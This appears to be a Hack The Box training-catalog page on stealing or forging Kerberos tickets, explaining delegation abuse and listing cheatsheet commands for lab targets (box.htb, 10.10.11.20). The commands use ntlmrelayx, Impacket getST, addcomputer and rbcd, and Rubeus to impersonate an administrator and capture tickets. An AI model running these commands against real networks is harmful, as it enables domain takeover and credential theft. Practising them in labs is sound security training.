Steal or Forge Kerberos Tickets
Getting Kerberos tickets on behalf of other users by abusing delegation or stolen keys.
How it shows up on Hack The Box
Constrained delegation and RBCD let you request a service ticket as an administrator (S4U). If you can create machine accounts (MachineAccountQuota) and write to a computer, you have RBCD.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Kerberos delegation: unconstrained, constrained and RBCD explained and exploited 4 min read The three kinds of Kerberos delegation in AD, how to find them, and how to abuse each with getST, rbcd.py and addcomputer to impersonate the administrator.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Active Directory in depth › BloodHound
Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.nameActive Directory in depth › NTLM relay
Relay to LDAP for delegation or shadow credentials
Attacker
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-daActive Directory in depth › Delegation
With Impacket
Attacker
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Request a service ticket as administrator (S4U2proxy)
Attacker
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Create a machine account (if MachineAccountQuota > 0)
Attacker
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Write the delegation and request the ticket
Attacker
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20Rubeus › Delegation
S4U: service ticket as administrator
Target
.\Rubeus.exe s4u /user:CUENTA$ /rc4:64f12cddaa88057e06a81b54e73b949b /impersonateuser:administrator /msdsspn:cifs/dc01.box.htb /ptt
Capture TGTs on a host with unconstrained delegation
Target
.\Rubeus.exe monitor /interval:5 /nowrapNo command matches.